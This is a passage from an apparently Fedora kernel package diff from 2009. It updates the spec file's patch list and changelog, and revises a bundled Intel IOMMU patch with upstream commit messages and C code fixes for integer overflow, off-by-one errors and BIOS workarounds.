-ApplyPatch drm-next-8ef8678c8.patch
+ApplyPatch drm-next-d4ac6a05.patch
 
 ApplyPatch drm-nouveau.patch
 # pm broken on my thinkpad t60p - airlied
@@ -1410,9 +1392,8 @@ ApplyPatch linux-2.6-rtc-show-hctosys.pa
 ApplyPatch linux-2.6-rfkill-all.patch
 ApplyPatch linux-2.6-selinux-module-load-perms.patch
 
-#ApplyPatch ppc-hates-my-family-and-swore-revenge.patch
-
 # patches headed for -stable
+ApplyPatch linux-2.6-frace-fixes.patch
 
 # Raid10 lockdep fix
 ApplyPatch linux-2.6-raidlockdep.patch
@@ -2033,9 +2014,9 @@ fi
 %endif\
 /lib/modules/%{KVERREL}%{?2:.%{2}}/modules.*\
 %if %{with_dracut}\
-%ghost /boot/initramfs-%{KVERREL}%{?2:.%{2}}.img\
+/boot/initramfs-%{KVERREL}%{?2:.%{2}}.img\
 %else\
-%ghost /boot/initrd-%{KVERREL}%{?2:.%{2}}.img\
+/boot/initrd-%{KVERREL}%{?2:.%{2}}.img\
 %endif\
 %{expand:%%files %{?2:%{2}-}devel}\
 %defattr(-,root,root)\
@@ -2076,6 +2057,87 @@ fi
 # and build.
 
 %changelog
+* Sat Oct 10 2009 Michael Young <m.a.young at durham.ac.uk>
+- update pvops patch
+- try putting DRM_RADEON and DRM_NOUVEAU back in
+
+* Fri Oct 09 2009 Dave Jones <davej at redhat.com>
+- Backport two critical ftrace fixes.
+  ftrace: check for failure for all conversions
+  tracing: correct module boundaries for ftrace_release
+
+* Fri Oct 09 2009 Jarod Wilson <jarod at redhat.com>
+- Build docs sub-package again
+
+* Thu Oct 08 2009 Kyle McMartin <kyle at redhat.com> 2.6.31.3-67
+- Linux 2.6.31.3
+- rebase drm-next trivially.
+- dropped merged upstream patches,
+ - linux-2.6-fix-usb-serial-autosuspend.diff
+ - linux-2.6-iwlagn-modify-digital-SVR-for-1000.patch
+ - linux-2.6-iwlwifi-Handle-new-firmware-file-with-ucode-build-number-in-header.patch
+ - linux-2.6-iwlwifi-fix-debugfs-buffer-handling.patch
+ - linux-2.6-iwlwifi-fix-unloading-driver-while-scanning.patch
+ - linux-2.6-iwlwifi-remove-deprecated-6000-series-adapters.patch
+ - linux-2.6-iwlwifi-traverse-linklist-to-find-the-valid-OTP-block.patch
+ - linux-2.6-iwlwifi-update-1000-series-API-version-to-match-firmware.patch
+ - linux-2.6-xen-check-efer-fix.patch
+ - linux-2.6-xen-spinlock-enable-interrupts-only-when-blocking.patch
+ - linux-2.6-xen-spinlock-stronger-barrier.patch
+ - linux-2.6-xen-stack-protector-fix.patch
+ - linux-2.6.31-cpufreq-powernow-k8-oops.patch
+
+* Thu Oct 08 2009 Ben Skeggs <bskeggs at redhat.com>
+- ppc: compile nvidiafb as a module only, nvidiafb+nouveau = bang! (rh#491308)
+
+* Thu Oct 08 2009 Ben Skeggs <bskeggs at redhat.com> 2.6.31.1-65
+- nouveau: {drm-next,context,fbcon,misc} fixes, connector forcing
+
+* Thu Oct 08 2009 Dave Airlie <airlied at redhat.com> 2.6.31.1-64
+- rebase latest drm-next, fixes many s/r and r600 problems
+
+* Wed Oct 07 2009 Dave Jones <davej at redhat.com>
+- Don't mark the initramfs file as a ghost.
+
+* Wed Oct 07 2009 Dave Jones <davej at redhat.com>
+- Enable FUNCTION_GRAPH_TRACER on x86-64.
+
+* Wed Oct 07 2009 Dave Jones <davej at redhat.com>
+- Disable CONFIG_IRQSOFF_TRACER on srostedt's recommendation.
+  (Adds unwanted overhead when not in use).
+
+* Tue Oct  6 2009 Justin M. Forbes <jforbes at redhat.com>
+- virtio_blk: add support for cache flush (#526869)
+
+* Sat Oct  3 2009 Michael Young <m.a.young at durham.ac.uk>
+- update pvops patch
+
+* Fri Oct  2 2009 John W. Linville <linville at redhat.com>
+- Backport "iwlwifi: reduce noise when skb allocation fails"
+
+* Wed Sep 30 2009 David Woodhouse <David.Woodhouse at intel.com>
+- Update IOMMU code; mostly a bunch more workarounds for broken BIOSes.
+
+* Wed Sep 30 2009 Dave Airlie <airlied at redhat.com> 2.6.31.1-56
+- revert all the arjan patches until someone tests them.
+
+* Tue Sep 29 2009 Steve Dickson <steved at redhat.com>  2.6.31.1-55
+- Updated the NFS4 pseudo root code with a fix from upstream
+
+* Tue Sep 29 2009 Dave Airlie <airlied at redhat.com> 2.6.31.1-54
+- Fix broken capabilties that stopped dbus working due to copy from user
+  fixups.
+
+* Tue Sep 29 2009 Dave Airlie <airlied at redhat.com> 2.6.31.1-53
+- drm-next-4c57edba4.patch: fix r600 dri1 memory leak and r600 bugs
+
+* Mon Sep 28 2009 Dave Jones <davej at redhat.com> 2.6.31.1-52
+- Use __builtin_object_size to validate the buffer size for copy_from_user
+  + associated fixes to various copy_from_user invocations.
+
+* Mon Sep 28 2009 Justin M. Forbes <jmforbes at redhat.com> 2.6.31.1-50
+- Increase timeout for xen frontend devices to connect.
+
 * Sat Sep 26 2009 Michael Young <m.a.young at durham.ac.uk>
 - disable DRM_RADEON  and DRM_NOUVEAU due to build problems
 

linux-2.6-intel-iommu-updates.patch:
 Documentation/Intel-IOMMU.txt  |    6 
 arch/ia64/kernel/pci-swiotlb.c |    2 
 arch/x86/kernel/pci-swiotlb.c  |    5 
 drivers/pci/dmar.c             |   37 ++-
 drivers/pci/intel-iommu.c      |  399 ++++++++++++++++++++++++-----------------
 drivers/pci/intr_remapping.c   |    8 
 drivers/pci/iova.c             |   16 -
 include/linux/intel-iommu.h    |    2 
 include/linux/iova.h           |    1 
 9 files changed, 282 insertions(+), 194 deletions(-)

Index: linux-2.6-intel-iommu-updates.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/Attic/linux-2.6-intel-iommu-updates.patch,v
retrieving revision 1.1.2.2
retrieving revision 1.1.2.3
diff -u -p -r1.1.2.2 -r1.1.2.3
--- linux-2.6-intel-iommu-updates.patch	10 Aug 2009 21:22:19 -0000	1.1.2.2
+++ linux-2.6-intel-iommu-updates.patch	10 Oct 2009 15:04:14 -0000	1.1.2.3
@@ -1,3 +1,313 @@
+(Reverted the part which kills BROKEN_GFX_WA)
+(...and the HARDWARE_AFFINITY bit)
+
+commit e0fc7e0b4b5e69616f10a894ab9afff3c64be74e
+Author: David Woodhouse <David.Woodhouse at intel.com>
+Date:   Wed Sep 30 09:12:17 2009 -0700
+
+    intel-iommu: Yet another BIOS workaround: Isoch DMAR unit with no TLB space
+    
+    Asus decided to ship a BIOS which configures sound DMA to go via the
+    dedicated IOMMU unit, but assigns precisely zero TLB entries to that
+    unit. Which causes the whole thing to deadlock, including the DMA
+    traffic on the _other_ IOMMU units. Nice one.
+    
+    Signed-off-by: David Woodhouse <David.Woodhouse at intel.com>
+
+commit 17b6097753e926ca546189463070a7e94e7ea9fa
+Author: Roland Dreier <rdreier at cisco.com>
+Date:   Thu Sep 24 12:14:00 2009 -0700
+
+    intel-iommu: Decode (and ignore) RHSA entries
+    
+    I recently got a system where the DMAR table included a couple of RHSA
+    (remapping hardware static affinity) entries.  Rather than printing a
+    message about an "Unknown DMAR structure," it would probably be more
+    useful to dump the RHSA structure (as other DMAR structures are dumped).
+    
+    Signed-off-by: Roland Dreier <rolandd at cisco.com>
+    Signed-off-by: David Woodhouse <David.Woodhouse at intel.com>
+
+commit 4de75cf9391b538bbfe7dc0a9782f1ebe8e242ad
+Author: Roland Dreier <rdreier at cisco.com>
+Date:   Thu Sep 24 01:01:29 2009 +0100
+
+    intel-iommu: Make "Unknown DMAR structure" message more informative
+    
+    We might as well print the type of the DMAR structure we don't know how
+    to handle when skipping it.  Then someone getting this message has a
+    chance of telling whether the structure is just bogus, or if there
+    really is something valid that the kernel doesn't know how to handle.
+    
+    Signed-off-by: Roland Dreier <rolandd at cisco.com>
+    Signed-off-by: David Woodhouse <David.Woodhouse at intel.com>
+
+commit b09a75fc5e77b7c58d097236f89b1ff72dcdb562
+Merge: cf63ff5 b94996c
+Author: Linus Torvalds <torvalds at linux-foundation.org>
+Date:   Wed Sep 23 10:06:10 2009 -0700
+
+    Merge git://git.infradead.org/iommu-2.6
+    
+    * git://git.infradead.org/iommu-2.6: (23 commits)
+      intel-iommu: Disable PMRs after we enable translation, not before
+      intel-iommu: Kill DMAR_BROKEN_GFX_WA option.
+      intel-iommu: Fix integer wrap on 32 bit kernels
+      intel-iommu: Fix integer overflow in dma_pte_{clear_range,free_pagetable}()
+      intel-iommu: Limit DOMAIN_MAX_PFN to fit in an 'unsigned long'
+      intel-iommu: Fix kernel hang if interrupt remapping disabled in BIOS
+      intel-iommu: Disallow interrupt remapping if not all ioapics covered
+      intel-iommu: include linux/dmi.h to use dmi_ routines
+      pci/dmar: correct off-by-one error in dmar_fault()
+      intel-iommu: Cope with yet another BIOS screwup causing crashes
+      intel-iommu: iommu init error path bug fixes
+      intel-iommu: Mark functions with __init
+      USB: Work around BIOS bugs by quiescing USB controllers earlier
+      ia64: IOMMU passthrough mode shouldn't trigger swiotlb init
+      intel-iommu: make domain_add_dev_info() call domain_context_mapping()
+      intel-iommu: Unify hardware and software passthrough support
+      intel-iommu: Cope with broken HP DC7900 BIOS
+      iommu=pt is a valid early param
+      intel-iommu: double kfree()
+      intel-iommu: Kill pointless intel_unmap_single() function
+      ...
+    
+    Fixed up trivial include lines conflict in drivers/pci/intel-iommu.c
+
+commit b94996c99c8befed9cbbb8804a4625e203913318
+Author: David Woodhouse <David.Woodhouse at intel.com>
+Date:   Sat Sep 19 15:28:12 2009 -0700
+
+    intel-iommu: Disable PMRs after we enable translation, not before
+    
+    Signed-off-by: David Woodhouse <David.Woodhouse at intel.com>
+
+commit 0c02a20ff7695f9c54cc7c013dda326270ccdac8
+Author: David Woodhouse <David.Woodhouse at intel.com>
+Date:   Sat Sep 19 09:37:23 2009 -0700
+
+    intel-iommu: Kill DMAR_BROKEN_GFX_WA option.
+    
+    Just make it depend on BROKEN for now, in case people scream really loud
+    about it (and because we might want to keep some of this logic for an
+    upcoming BIOS workaround, so I don't just want to rip it out entirely
+    just yet). But for graphics devices, it really ought to be unnecessary.
+    
+    Signed-off-by: David Woodhouse <David.Woodhouse at intel.com>
+
+commit 64de5af000e99f32dd49ff5dd9a0fd7db1f60305
+Author: Benjamin LaHaise <ben.lahaise at neterion.com>
+Date:   Wed Sep 16 21:05:55 2009 -0400
+
+    intel-iommu: Fix integer wrap on 32 bit kernels
+    
+    The following 64 bit promotions are necessary to handle memory above the
+    4GiB boundary correctly.
+    
+    [dwmw2: Fix the second part not to need 64-bit arithmetic at all]
+    
+    Signed-off-by: Benjamin LaHaise <ben.lahaise at neterion.com>
+    Signed-off-by: David Woodhouse <David.Woodhouse at intel.com>
+
+commit 59c36286b74ae6a8adebf6e133a83d7f2e3e6704
+Author: David Woodhouse <David.Woodhouse at intel.com>
+Date:   Sat Sep 19 07:36:28 2009 -0700
+
+    intel-iommu: Fix integer overflow in dma_pte_{clear_range,free_pagetable}()
+    
+    If end_pfn is equal to (unsigned long)-1, then the loop will never end.
+    
+    Seen on 32-bit kernel, but could have happened on 64-bit too once we get
+    hardware that supports 64-bit guest addresses.
+    
+    Change both functions to a 'do {} while' loop with the test at the end,
+    and check for the PFN having wrapper round to zero.
+    
+    Reported-by: Benjamin LaHaise <ben.lahaise at neterion.com>
+    Tested-by: Benjamin LaHaise <ben.lahaise at neterion.com>
+    Signed-off-by: David Woodhouse <David.Woodhouse at intel.com>
+
+commit 2ebe31513fcbe7a781f27002f065b50ae195022f
+Author: David Woodhouse <David.Woodhouse at intel.com>
+Date:   Sat Sep 19 07:34:04 2009 -0700
+
+    intel-iommu: Limit DOMAIN_MAX_PFN to fit in an 'unsigned long'
+    
+    This means we're limited to 44-bit addresses on 32-bit kernels, and
+    makes it sane for us to use 'unsigned long' for PFNs throughout.
+    
+    Which is just as well, really, since we already do that.
+    
+    Reported-by: Benjamin LaHaise <ben.lahaise at neterion.com>
+    Tested-by: Benjamin LaHaise <ben.lahaise at neterion.com>
+    Signed-off-by: David Woodhouse <David.Woodhouse at intel.com>
+
+commit 074835f0143b83845af5044af2739c52c9f53808
+Author: Youquan Song <youquan.song at intel.com>
+Date:   Wed Sep 9 12:05:39 2009 -0400
+
+    intel-iommu: Fix kernel hang if interrupt remapping disabled in BIOS
+    
+    BIOS clear DMAR table INTR_REMAP flag to disable interrupt remapping. Current
+    kernel only check interrupt remapping(IR) flag in DRHD's extended capability
+    register to decide interrupt remapping support or not. But IR flag will not
+    change when BIOS disable/enable interrupt remapping.
+    
+    When user disable interrupt remapping in BIOS or BIOS often defaultly disable
+    interrupt remapping feature when BIOS is not mature.Though BIOS disable
+    interrupt remapping but intr_remapping_supported function will always report
+    to OS support interrupt remapping if VT-d2 chipset populated. On this
+    cases, kernel will continue enable interrupt remapping and result kernel panic.
+    This bug exist on almost all platforms with interrupt remapping support.
+    
+    This patch add DMAR table INTR_REMAP flag check before enable interrupt
+    remapping.
+    
+    Signed-off-by: Youquan Song <youquan.song at intel.com>
+    Signed-off-by: David Woodhouse <David.Woodhouse at intel.com>
+
+commit e936d0773df172ec8600777fdd72bbc1f75f22ad
+Author: Youquan Song <youquan.song at intel.com>
+Date:   Mon Sep 7 10:58:07 2009 -0400
+
+    intel-iommu: Disallow interrupt remapping if not all ioapics covered
+    
+    Current kernel enable interrupt remapping only when all the vt-d unit support
+    interrupt remapping. So it is reasonable we should also disallow enabling
+    intr-remapping if there any io-apics that are not listed under vt-d units.
+    Otherwise we can run into issues.
+    
+    Acked-by: Suresh Siddha <suresh.b.siddha at intel.com>
+    Signed-off-by: Youquan Song <youquan.song at intel.com>
+    Signed-off-by: David Woodhouse <David.Woodhouse at intel.com>
+
+commit adb2fe0277607d50f4e9ef06e1d180051a609c25
+Author: Stephen Rothwell <sfr at canb.auug.org.au>
+Date:   Mon Aug 31 15:24:23 2009 +1000
+
+    intel-iommu: include linux/dmi.h to use dmi_ routines
+    
+    This file needs to include linux/dmi.h directly rather than relying on
+    it being pulled in from elsewhere.
+    
+    Signed-off-by: Stephen Rothwell <sfr at canb.auug.org.au>
+    Signed-off-by: David Woodhouse <David.Woodhouse at intel.com>
+
+commit 8211a7b5857914058c52ae977c96463e419b37ab
+Author: Troy Heber <troy.heber at hp.com>
+Date:   Wed Aug 19 15:26:11 2009 -0600
+
+    pci/dmar: correct off-by-one error in dmar_fault()
+    
+    DMAR faults are recorded into a ring of "fault recording registers".
+    fault_index is a 0-based index into the ring. The code allows the
+    0-based fault_index to be equal to the total number of fault registers
+    available from the cap_num_fault_regs() macro, which causes access
+    beyond the last available register.
+    
+    Signed-off-by Troy Heber <troy.heber at hp.com>
+    Signed-off-by: David Woodhouse <David.Woodhouse at intel.com>
+
+commit 2ff729f5445cc47d1910386c36e53fc6b1c5e47a
+Author: David Woodhouse <David.Woodhouse at intel.com>
+Date:   Wed Aug 26 14:25:41 2009 +0100
+
+    intel-iommu: Cope with yet another BIOS screwup causing crashes
+    
+    Signed-off-by: David Woodhouse <David.Woodhouse at intel.com>
+
+commit 94a91b5051a77d8a71d4f11a3240f0d9c51b6cf2
+Author: Donald Dutile <ddutile at redhat.com>
+Date:   Thu Aug 20 16:51:34 2009 -0400
+
+    intel-iommu: iommu init error path bug fixes
+    
+    The kcalloc() failure path in iommu_init_domains() calls
+    free_dmar_iommu(), which assumes that ->domains, ->domain_ids,
+    and ->lock have been properly initialized.
+    
+    Add checks in free_[dmar]_iommu to not use ->domains,->domain_ids
+    if not alloced. Move the lock init to prior to the kcalloc()'s,
+    so it is valid in free_context_table() when free_dmar_iommu() invokes
+    it at the end.
+    
+    Patch based on iommu-2.6,
+    commit 132032274a594ee9ffb6b9c9e2e9698149a09ea9
+    
+    Signed-off-by: Donald Dutile <ddutile at redhat.com>
+    Signed-off-by: David Woodhouse <David.Woodhouse at intel.com>
+
+commit 071e13746f9ebb259987c71ea77f11e7656769a2
+Author: Matt Kraai <kraai at ftbfs.org>
+Date:   Sun Aug 23 22:30:22 2009 -0700
+
+    intel-iommu: Mark functions with __init
+    
+    Mark si_domain_init and iommu_prepare_static_identity_mapping with
+    __init, to eliminate the following warnings:
+    
+    WARNING: drivers/pci/built-in.o(.text+0xf1f4): Section mismatch in reference from the function si_domain_init() to the function .init.text:si_domain_work_fn()
+    The function si_domain_init() references
+    the function __init si_domain_work_fn().
+    This is often because si_domain_init lacks a __init
+    annotation or the annotation of si_domain_work_fn is wrong.
+    
+    WARNING: drivers/pci/built-in.o(.text+0xe340): Section mismatch in reference from the function iommu_prepare_static_identity_mapping() to the function .init.text:si_domain_init()
+    The function iommu_prepare_static_identity_mapping() references
+    the function __init si_domain_init().
+    This is often because iommu_prepare_static_identity_mapping lacks a __init
+    annotation or the annotation of si_domain_init is wrong.
+    
+    Signed-off-by: Matt Kraai <kraai at ftbfs.org>
+    Signed-off-by: David Woodhouse <David.Woodhouse at intel.com>
+
+commit 132032274a594ee9ffb6b9c9e2e9698149a09ea9
+Author: David Woodhouse <dwmw2 at infradead.org>
+Date:   Mon Aug 3 12:40:27 2009 +0100
+
+    USB: Work around BIOS bugs by quiescing USB controllers earlier
+    
+    We are seeing a number of crashes in SMM, when VT-d is enabled while
+    'Legacy USB support' is enabled in various BIOSes.
+    
+    The BIOS is supposed to indicate which addresses it uses for DMA in a
+    special ACPI table ("RMRR"), so that we can punch a hole for it when we
+    set up the IOMMU.
+    
+    The problem is, as usual, that BIOS engineers are totally incompetent.
+    They write code which will crash if the DMA goes AWOL, and then they
+    either neglect to provide an RMRR table at all, or they put the wrong
+    addresses in it. And of course they don't do _any_ QA, since that would
+    take too much time away from their crack-smoking habit.
+    
+    The real fix, of course, is for consumers to refuse to buy motherboards
+    which only have closed-source firmware available. If we had _open_
+    firmware, bugs like this would be easy to fix.
+    
+    Since that's something I can only dream about, this patch implements an
+    alternative -- ensuring that the USB controllers are handed off from the
+    BIOS and quiesced _before_ the IOMMU is initialised. That would have
+    been a much better design than this RMRR nonsense in the first place, of
+    course. The bootloader has no business doing DMA after the OS has booted
+    anyway.
+    
+    Signed-off-by: David Woodhouse <David.Woodhouse at intel.com>
+    Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>
+
+commit ba6c548701ef7a93b9ea05d1506d2b62f1628333
+Author: David Woodhouse <David.Woodhouse at intel.com>
+Date:   Thu Aug 13 18:18:00 2009 +0100
+
+    ia64: IOMMU passthrough mode shouldn't trigger swiotlb init
+    
+    Since commit 19943b0e30b05d42e494ae6fef78156ebc8c637e ('intel-iommu:
+    Unify hardware and software passthrough support'), hardware passthrough
+    mode will do the same as software passthrough mode was doing -- it'll
+    still use the IOMMU normally for devices which can't address all of
+    memory. This means that we don't need to bother with swiotlb.
+    
+    Signed-off-by: David Woodhouse <David.Woodhouse at intel.com>
+
 commit 5fe60f4e5871b64e687229199fafd4ef13cd0886
 Author: David Woodhouse <David.Woodhouse at intel.com>
 Date:   Sun Aug 9 10:53:41 2009 +0100
@@ -124,22 +434,36 @@ Date:   Tue Jul 7 19:43:20 2009 +0100
     cycles to 4812 cycles on my Lenovo x200s test box -- a modest 20%.
     
     Signed-off-by: David Woodhouse <David.Woodhouse at intel.com>
-diff --git a/arch/x86/kernel/pci-dma.c b/arch/x86/kernel/pci-dma.c
-index 1a041bc..ae13e34 100644
---- a/arch/x86/kernel/pci-dma.c
-+++ b/arch/x86/kernel/pci-dma.c
-@@ -212,10 +212,8 @@ static __init int iommu_setup(char *p)
- 		if (!strncmp(p, "soft", 4))
- 			swiotlb = 1;
- #endif
--		if (!strncmp(p, "pt", 2)) {
-+		if (!strncmp(p, "pt", 2))
- 			iommu_pass_through = 1;
--			return 1;
--		}
- 
- 		gart_parse_options(p);
+diff --git a/Documentation/Intel-IOMMU.txt b/Documentation/Intel-IOMMU.txt
+index 21bc416..cf9431d 100644
+--- a/Documentation/Intel-IOMMU.txt
++++ b/Documentation/Intel-IOMMU.txt
+@@ -56,11 +56,7 @@ Graphics Problems?
+ ------------------
+ If you encounter issues with graphics devices, you can try adding
+ option intel_iommu=igfx_off to turn off the integrated graphics engine.
+-
+-If it happens to be a PCI device included in the INCLUDE_ALL Engine,
+-then try enabling CONFIG_DMAR_GFX_WA to setup a 1-1 map. We hear
+-graphics drivers may be in process of using DMA api's in the near
+-future and at that time this option can be yanked out.
++If this fixes anything, please ensure you file a bug reporting the problem.
+ 
+ Some exceptions to IOVA
+ -----------------------
+diff --git a/arch/ia64/kernel/pci-swiotlb.c b/arch/ia64/kernel/pci-swiotlb.c
+index 223abb1..285aae8 100644
+--- a/arch/ia64/kernel/pci-swiotlb.c
++++ b/arch/ia64/kernel/pci-swiotlb.c
+@@ -46,7 +46,7 @@ void __init swiotlb_dma_init(void)
  
+ void __init pci_swiotlb_init(void)
+ {
+-	if (!iommu_detected || iommu_pass_through) {
++	if (!iommu_detected) {
+ #ifdef CONFIG_IA64_GENERIC
+ 		swiotlb = 1;
+ 		printk(KERN_INFO "PCI-DMA: Re-initialize machine vector.\n");
 diff --git a/arch/x86/kernel/pci-swiotlb.c b/arch/x86/kernel/pci-swiotlb.c
 index 6af96ee..1e66b18 100644
 --- a/arch/x86/kernel/pci-swiotlb.c
@@ -157,10 +481,20 @@ index 6af96ee..1e66b18 100644
  	if (swiotlb_force)
  		swiotlb = 1;
 diff --git a/drivers/pci/dmar.c b/drivers/pci/dmar.c
-index 7b287cb..380b60e 100644
+index 7b287cb..708176d 100644
 --- a/drivers/pci/dmar.c
 +++ b/drivers/pci/dmar.c
-@@ -632,20 +632,31 @@ int alloc_iommu(struct dmar_drhd_unit *drhd)
+@@ -570,9 +581,6 @@ int __init dmar_table_init(void)
+ 		printk(KERN_INFO PREFIX "No ATSR found\n");
+ #endif
+ 
+-#ifdef CONFIG_INTR_REMAP
+-	parse_ioapics_under_ir();
+-#endif
+ 	return 0;
+ }
+ 
+@@ -632,20 +640,31 @@ int alloc_iommu(struct dmar_drhd_unit *drhd)
  	iommu->cap = dmar_readq(iommu->reg + DMAR_CAP_REG);
  	iommu->ecap = dmar_readq(iommu->reg + DMAR_ECAP_REG);
  
@@ -194,7 +528,7 @@ index 7b287cb..380b60e 100644
  	}
  #endif
  	iommu->agaw = agaw;
-@@ -665,7 +676,7 @@ int alloc_iommu(struct dmar_drhd_unit *drhd)
+@@ -665,7 +684,7 @@ int alloc_iommu(struct dmar_drhd_unit *drhd)
  	}
  
  	ver = readl(iommu->reg + DMAR_VER_REG);
@@ -203,7 +537,7 @@ index 7b287cb..380b60e 100644
  		(unsigned long long)drhd->reg_base_addr,
  		DMAR_VER_MAJOR(ver), DMAR_VER_MINOR(ver),
  		(unsigned long long)iommu->cap,
-@@ -675,7 +686,10 @@ int alloc_iommu(struct dmar_drhd_unit *drhd)
+@@ -675,7 +694,10 @@ int alloc_iommu(struct dmar_drhd_unit *drhd)
  
  	drhd->iommu = iommu;
  	return 0;
@@ -215,11 +549,75 @@ index 7b287cb..380b60e 100644
  	kfree(iommu);
  	return -1;
  }
+@@ -1212,7 +1234,7 @@ irqreturn_t dmar_fault(int irq, void *dev_id)
+ 				source_id, guest_addr);
+ 
+ 		fault_index++;
+-		if (fault_index > cap_num_fault_regs(iommu->cap))
++		if (fault_index >= cap_num_fault_regs(iommu->cap))
+ 			fault_index = 0;
+ 		spin_lock_irqsave(&iommu->register_lock, flag);
+ 	}
+@@ -1305,3 +1327,13 @@ int dmar_reenable_qi(struct intel_iommu *iommu)
+ 
+ 	return 0;
+ }
++
++/*
++ * Check interrupt remapping support in DMAR table description.
++ */
++int dmar_ir_support(void)
++{
++	struct acpi_table_dmar *dmar;
++	dmar = (struct acpi_table_dmar *)dmar_tbl;
++	return dmar->flags & 0x1;
++}
 diff --git a/drivers/pci/intel-iommu.c b/drivers/pci/intel-iommu.c
-index 2314ad7..09606e9 100644
+index 2314ad7..f89ce3f 100644
 --- a/drivers/pci/intel-iommu.c
 +++ b/drivers/pci/intel-iommu.c
-@@ -251,7 +251,8 @@ static inline int first_pte_in_page(struct dma_pte *pte)
+@@ -37,6 +37,7 @@
+ #include <linux/iommu.h>
+ #include <linux/intel-iommu.h>
+ #include <linux/sysdev.h>
++#include <linux/dmi.h>
+ #include <asm/cacheflush.h>
+ #include <asm/iommu.h>
+ #include "pci.h"
+@@ -46,6 +47,7 @@
+ 
+ #define IS_GFX_DEVICE(pdev) ((pdev->class >> 16) == PCI_BASE_CLASS_DISPLAY)
+ #define IS_ISA_DEVICE(pdev) ((pdev->class >> 8) == PCI_CLASS_BRIDGE_ISA)
++#define IS_AZALIA(pdev) ((pdev)->vendor == 0x8086 && (pdev)->device == 0x3a3e)
+ 
+ #define IOAPIC_RANGE_START	(0xfee00000)
+ #define IOAPIC_RANGE_END	(0xfeefffff)
+@@ -55,8 +57,14 @@
+ 
+ #define MAX_AGAW_WIDTH 64
+ 
+-#define DOMAIN_MAX_ADDR(gaw) ((((u64)1) << gaw) - 1)
+-#define DOMAIN_MAX_PFN(gaw)  ((((u64)1) << (gaw-VTD_PAGE_SHIFT)) - 1)
++#define __DOMAIN_MAX_PFN(gaw)  ((((uint64_t)1) << (gaw-VTD_PAGE_SHIFT)) - 1)
++#define __DOMAIN_MAX_ADDR(gaw) ((((uint64_t)1) << gaw) - 1)
++
++/* We limit DOMAIN_MAX_PFN to fit in an unsigned long, and DOMAIN_MAX_ADDR
++   to match. That way, we can use 'unsigned long' for PFNs with impunity. */
++#define DOMAIN_MAX_PFN(gaw)	((unsigned long) min_t(uint64_t, \
++				__DOMAIN_MAX_PFN(gaw), (unsigned long)-1))
++#define DOMAIN_MAX_ADDR(gaw)	(((uint64_t)__DOMAIN_MAX_PFN(gaw)) << VTD_PAGE_SHIFT)
+ 
+ #define IOVA_PFN(addr)		((addr) >> PAGE_SHIFT)
+ #define DMA_32BIT_PFN		IOVA_PFN(DMA_BIT_MASK(32))
+@@ -86,6 +94,7 @@ static inline unsigned long virt_to_dma_pfn(void *p)
+ /* global iommu list, set NULL for ignored DMAR units */
+ static struct intel_iommu **g_iommus;
+ 
++static void __init check_tylersburg_isoch(void);
+ static int rwbf_quirk;
+ 
+ /*
+@@ -251,7 +260,8 @@ static inline int first_pte_in_page(struct dma_pte *pte)
   * 	2. It maps to each iommu if successful.
   *	3. Each iommu mapps to this domain if successful.
   */
@@ -229,7 +627,125 @@ index 2314ad7..09606e9 100644
  
  /* devices under the same p2p bridge are owned in one domain */
  #define DOMAIN_FLAG_P2P_MULTIPLE_DEVICES (1 << 0)
-@@ -1309,7 +1310,6 @@ static void iommu_detach_domain(struct dmar_domain *domain,
+@@ -727,7 +737,7 @@ static struct dma_pte *pfn_to_dma_pte(struct dmar_domain *domain,
+ 				return NULL;
+ 
+ 			domain_flush_cache(domain, tmp_page, VTD_PAGE_SIZE);
+-			pteval = (virt_to_dma_pfn(tmp_page) << VTD_PAGE_SHIFT) | DMA_PTE_READ | DMA_PTE_WRITE;
++			pteval = ((uint64_t)virt_to_dma_pfn(tmp_page) << VTD_PAGE_SHIFT) | DMA_PTE_READ | DMA_PTE_WRITE;
+ 			if (cmpxchg64(&pte->val, 0ULL, pteval)) {
+ 				/* Someone else set it while we were thinking; use theirs. */
+ 				free_pgtable_page(tmp_page);
+@@ -777,9 +787,10 @@ static void dma_pte_clear_range(struct dmar_domain *domain,
+ 
+ 	BUG_ON(addr_width < BITS_PER_LONG && start_pfn >> addr_width);
+ 	BUG_ON(addr_width < BITS_PER_LONG && last_pfn >> addr_width);
++	BUG_ON(start_pfn > last_pfn);
+ 
+ 	/* we don't need lock here; nobody else touches the iova range */
+-	while (start_pfn <= last_pfn) {
++	do {
+ 		first_pte = pte = dma_pfn_level_pte(domain, start_pfn, 1);
+ 		if (!pte) {
+ 			start_pfn = align_to_level(start_pfn + 1, 2);
+@@ -793,7 +804,8 @@ static void dma_pte_clear_range(struct dmar_domain *domain,
+ 
+ 		domain_flush_cache(domain, first_pte,
+ 				   (void *)pte - (void *)first_pte);
+-	}
++
++	} while (start_pfn && start_pfn <= last_pfn);
+ }
+ 
+ /* free page table pages. last level pte should already be cleared */
+@@ -809,6 +821,7 @@ static void dma_pte_free_pagetable(struct dmar_domain *domain,
+ 
+ 	BUG_ON(addr_width < BITS_PER_LONG && start_pfn >> addr_width);
+ 	BUG_ON(addr_width < BITS_PER_LONG && last_pfn >> addr_width);
++	BUG_ON(start_pfn > last_pfn);
+ 
+ 	/* We don't need lock here; nobody else touches the iova range */
+ 	level = 2;
+@@ -819,7 +832,7 @@ static void dma_pte_free_pagetable(struct dmar_domain *domain,
+ 		if (tmp + level_size(level) - 1 > last_pfn)
+ 			return;
+ 
+-		while (tmp + level_size(level) - 1 <= last_pfn) {
++		do {
+ 			first_pte = pte = dma_pfn_level_pte(domain, tmp, level);
+ 			if (!pte) {
+ 				tmp = align_to_level(tmp + 1, level + 1);
+@@ -838,7 +851,7 @@ static void dma_pte_free_pagetable(struct dmar_domain *domain,
+ 			domain_flush_cache(domain, first_pte,
+ 					   (void *)pte - (void *)first_pte);
+ 			
+-		}
++		} while (tmp && tmp + level_size(level) - 1 <= last_pfn);
+ 		level++;
+ 	}
+ 	/* free pgd */
+@@ -1157,6 +1170,8 @@ static int iommu_init_domains(struct intel_iommu *iommu)
+ 	pr_debug("Number of Domains supportd <%ld>\n", ndomains);
+ 	nlongs = BITS_TO_LONGS(ndomains);
+ 
++	spin_lock_init(&iommu->lock);
++
+ 	/* TBD: there might be 64K domains,
+ 	 * consider other allocation for future chip
+ 	 */
+@@ -1169,12 +1184,9 @@ static int iommu_init_domains(struct intel_iommu *iommu)
+ 			GFP_KERNEL);
+ 	if (!iommu->domains) {
+ 		printk(KERN_ERR "Allocating domain array failed\n");
+-		kfree(iommu->domain_ids);
+ 		return -ENOMEM;
+ 	}
+ 
+-	spin_lock_init(&iommu->lock);
+-
